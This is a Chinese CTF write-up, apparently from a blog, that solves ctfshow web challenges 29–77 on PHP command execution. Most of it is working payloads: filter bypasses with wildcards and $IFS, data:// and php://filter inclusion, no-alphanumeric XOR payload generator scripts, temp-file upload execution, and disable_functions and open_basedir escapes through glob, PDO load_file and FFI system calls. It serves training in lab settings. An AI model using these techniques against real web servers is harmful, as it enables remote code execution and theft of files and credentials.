ctfshow【从0开始学web】29-124 命令执行

ctfshow【从0开始学web】29-124 命令执行

web29

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
} 

过滤了flag

/?c=system(‘ls’);

查看文件:flag.php index.php

现在就要想办法绕过那个过滤,由于过滤了flag,可以使用通配符进行绕过

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php//直接将题目变成文件包含漏洞
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤

均可,后续再仔细讲一下命令执行绕过的内容

web30

https://blog.csdn.net/yzl_007/article/details/120644017?spm=1001.2014.3001.5501

看一下这篇文章,了解一下eval()

payload:?c=eval($_GET[a])?>&a=system(‘cat flag.php’);

web31

关键代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

过滤了,flag,system,php,cat,sort,shell,空格,单引号,.

payload:?c=eval($_GET[a])?>&a=system(‘cat flag.php’);

此外:这里涉及到了空格、cat过滤,这里是有方法绕过的,除了上面这种包含在参数中,如下:

空格过滤:

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat绕过:

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

这里其实和linux中读取文档类似。

参考:https://blog.csdn.net/qq_49480008/article/details/113177878

比如他这里还没有过滤系统函数,过滤的单引号,我们可以用反引号

在这里插入图片描述

有时候构造的这类:

?c=echo(`nl%09f*`);
?c=echo(`less%09f*`);
?c=echo(`more%09f*`);

输入后会发现没回显,这时候查看一下源码就行了,?c=eval($_GET[a])?>&a=system(‘cat flag.php’);这类也是如此。

web32

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
} 

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.

这里过滤括号之后,之前的方法几乎都不适用了,但是php中有许多不用括号的函数,任然可以绕过。

例如:print、echo、die;、include “”、require “”、include_once “”、require_once “” 等

可以利用include ""进行包含绕过。

之前利用eval函数构造的payload:?c=eval($_GET[a])?>&a=system(‘cat flag.php’);

?c=include%09"$_GET[a]"?>&a=system(‘cat flag.php’); 这里模仿eval构造就不可了,因为这里include是包含,并不是直接执行,同样会被过滤掉,因此要换个思路,这时候可以结合伪协议来进行包含:

payload:?c=include"$_GET[a]"?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

然后base64解码即可

web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    
    

多过滤了一个双引号,冒号,那好办,不用双引号

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    
     

多过滤了分号

一样的payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    
     

过滤了< ,继续payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    
     

多过滤了数字

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c);
        echo $flag;
    
    }
        
}else{
    
    
    highlight_file(__FILE__);
} 

换风格了,这里过滤了flag,是include文件包含

使用data:// 伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

payload:?c=data://text/plain,<?php system('cat f*');?>

还有其他的构造方法可以多尝试

web38

 if(!preg_match("/flag|php|file/i", $c)){
    
    
        include($c);
        echo $flag; 

过滤了flag、php、file,继续data://协议,但是过滤了php,使用base64加密一下

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

在这里插入图片描述

这个时候其实可以直接将完整的语句进行加密,cat flag.php 被加密后就不会被过滤

在这里插入图片描述

web39

 if(!preg_match("/flag/i", $c)){
    
    
        include($c.".php");

在末尾会添加一个.php

但是不影响前面的运行,任然可以使用data://协议

?c=data://text/plain,<?php system('cat f*');?>

运行后因为前面的php语句已经闭合,对此就没影响了,相当于运行了

<?php system('cat f*');?>.php

当然,用base64加密就不可取了,

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==.php //这样无法解析的

在这里插入图片描述

web40

<?php
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    
    
        eval($c);
    }
        
}else{
    
    
    highlight_file(__FILE__);
} 

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号

读文件+数组改造:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序

scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。

构造:?c=print_r(scandir(pos(localeconv())));

得到:Array ( [0] => . [1] => … [2] => flag.php [3] => index.php )

现在要读取到倒数第二的文件,使用数组逆序函数

构造:?c=print_r(array_reverse(scandir(pos(localeconv()))));

得到:Array ( [0] => index.php [1] => flag.php [2] => … [3] => . )

再进行读取

构造:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

继续读:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

得到flag

一些用法:

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
print_r(scandir(.)); 查看当前目录下的所有文件名
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

web41

if(isset($_POST['c'])){
    
    
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    
    
        eval("echo($c);");
    }
}else{
    
    
    highlight_file(__FILE__);
}
?>

传参变成了post,字母数字全被过滤,无字母数字绕过正则表达式脚本

y4的脚本:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }

}

generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

或者:

1、异或,生成xor_rce.txt

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    
    
    for ($j=0; $j <256 ; $j++) {
    
    

        if($i<16){
    
    
            $hex_i='0'.dechex($i);
        }
        else{
    
    
            $hex_i=dechex($i);
        }
        if($j<16){
    
    
            $hex_j='0'.dechex($j);
        }
        else{
    
    
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    
    
            echo "";
        }

        else{
    
    
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
    
    
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

然后生成指令

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

。。

web42

if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    
    
    highlight_file(__FILE__);
}

system($c." >/dev/null 2>&1"); 主要意思是不进行回显的意思,要使命令回显,可以如下操作:

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

payload:cat flag.php; cat flag.php||

web43

if(!preg_match("/\;|cat/i", $c)){
    
     

同样的,但是把cat 和 ;禁用了

绕过就行,payload:?c=tac flag.php|| 类似的方法有很多

在这里插入图片描述

payload:

?c=tac flag.php||  
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

web44

if(!preg_match("/;|cat|flag/i", $c)){
    
     

禁用cat、flag、;

payload:?c=tac fla*||

同样,有很多其他的方法

?c=more ????.???||
?c=more fla*.php||
?c=more fl\ag.php||
?c=more fl''ag.php||

web45

if(!preg_match("/\;|cat|flag| /i", $c)){
    
     

禁用cat、flag、;空格

一样的操作:payload:?c=tac%09f*||

空格绕过:

>` `<` `<>` 重定向符
`%09`(需要php环境)
`${
    
    IFS}`
`$IFS$9`
`{
    
    cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    
     

禁用cat、flag、;空格 、数字、$、*

一样的,%09这类是不属于数字的 ,payload:?c=tac%09fl’'ag.php||

web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    
     

禁用cat、flag、;空格 、数字、$、*、more、less、head、sort、tail

但是这里没禁用tac ,继续用,或者还可以用到vim、vi、file -f、uniq等等

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看,将文件进行排序并输出
(11)uniq:可以查看,报告或忽略文件中的重复行
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

web48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ 

继续用刚刚的方法?c=tac%09fl’'ag.php||

web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ 

继续?c=tac%09fl’'ag.php||

web50

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 

继续:?c=tac%09fl’'ag.php||显然不行,这里x09 即%09被禁用了,找到前面的空格绕过,构造一个

?c=tac<>fla\g.php|| ?c=tac<>fla’'g.php||都可

web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 

终于,tac被禁用了,那无所谓,还有很多 ?c=nl<>fl’'ag.php||

web52

 if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ 

<>被禁用,空格这里再找给新的 ?c=nl${IFS}fl’'ag.php||

image-20211013162717311

提示flag=“flag_here”

找一下 ?c=ls${IFS}/|| 其实就是 ls /

image-20211013162828246

然后读取根目录下的flag

image-20211013162928080

web53

if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
    
    
        echo 'no';
    }
}else{
    
    
    highlight_file(__FILE__);
} 

禁用部分和web52一样,一样的直接构造读取

?c=ca’‘t${IFS}fla’'g.php

web54

if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c);
    }
}else{
    
    
    highlight_file(__FILE__);
}

.* 匹配,中间不能用字符分割来过滤,直接全部问号代替?c=vi${IFS}???.???

?c=vi$IFS????????
?c=uniq$IFS????????
?c=uniq${
    
    IFS}????????
?c=/bin/c??$IFS????????    //在bin目录中读取c??  其实就是cat了
?c=grep${
    
    IFS}'{'${
    
    IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{
    
    的文件,并打印出包含 {
    
     的这一行)

web55

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c);
    } 

无字母绕过,这里要用到的刚刚也有提过,通过linux系统下的命令,用通配符来进行绕过

先来了解一下linux下的命令

/bin目录

bin为binary的简写主要放置一些 系统的必备执行档
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

payload:?c=???/???64 ???.??? 意思是 /bin/base64 flag.php

在这里插入图片描述

/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

利用bzip2这里就可以构造:?c=/???/???/???2 ???.??? 也就是/usr/bin/bzip2 flag.php

压缩后访问 /flag.php.bz2 下载获得flag

在这里插入图片描述

web56

 if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    
    
        system($c); 

数字和字符绕过

利用通配符绕过,外带sh脚本(此处需要传输post数据)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://27fba84a-6b88-46c4-98d8-8e1036faa0de.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

随便抓个包,传入你想要的sh脚本

在这里插入图片描述
这个包会被保存在临时文件中/tmp/phpXXXXXX,这样我们就可以用.来触发这个脚本文件,

?c=.+/???/????????[@-[]//加号代表空格

然后运行脚本拿到flag

import requests

while True:
    url = "http://27fba84a-6b88-46c4-98d8-8e1036faa0de.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={
    
    "file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

web57未解出

web58-web65

post传参

// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
} 

先post了一个system(); 发现报错了

在这里插入图片描述

说明这里开始涉及到disable_functions了,但是还是有方法绕过的

payload:

c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=print_r(scandir(dirname('__FILE__')));
// ( [0] => 。 [1] => .. [2] => flag.php [3] => index.php ) 
c=var_dump(file('flag.php'));
c=readfile('flag.php');
c=print_r(file('flag.php'));
c=show_source(file(''flag.php));
c=echo file_get_contents('flag.php');

web66

源码还是一样

// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
}else{
    
    
    highlight_file(__FILE__);
} 

在这里插入图片描述

但是刚刚的一些函数全被ban了

还看到一些其他师傅的姿势

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){
    
    echo($f->__toString()." ");}//glob的作用是规定后面的匹配格式,查找匹配的文件路径模式

c=$a=scandir("/");foreach($a as $key=>$value){
    
    echo $key."=>".$value;}

c=var_dump(scandir(’/’)); 读取目录

在这里插入图片描述

然后用include包含c=include(’/flag.txt’);

下面这三个文件包含函数都可以

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web67

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web69

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web70

在这里插入图片描述

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

。。。

在这里插入图片描述

不过题目给了个index.php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}
?>
你要上天吗?

开始过滤了

ob_get_contents   :返回输出缓冲区的内容
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

正因为这两个函数,c=include(’/flag.txt’); 源码中用函数将缓冲区的字符全部替换成了问号。可以使用exit()/die()提前结束,这样就不会将字符替换为问号

c=var_dump(scandir('/')); die()

发现被ban了。

c=var_export(scandir('/'));exit();

在这里插入图片描述

然后包含

c=include('/flag.txt');die();
c=require('/flag.txt');die();
c=require_once('/flag.txt');die();

在这里插入图片描述

web72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
    
    
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    
    
    highlight_file(__FILE__);
}

?>
你要上天吗?

存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

但是后面不会了

web73

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

读取到flagc.txt

c=include('/flagc.txt');die();
c=require('/flagc.txt');die();
c=require_once('/flagc.txt');die();

web74

同上 读到flagx.txt

然后包含吧

c=include('/flagx.txt');die();
c=require('/flagx.txt');die();
c=require_once('/flagx.txt');die();

web75

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

读到flag36.txt

但是已经不能用包含了

看了官方payload

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web76

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

读到flag36d.txt

web77

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

读到flag36x.txt

用上面的方法会提示could not find driver

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();

然后访问1.txt

在这里插入图片描述

持续更新。。。

猜你喜欢

转载自blog.csdn.net/yzl_007/article/details/120688613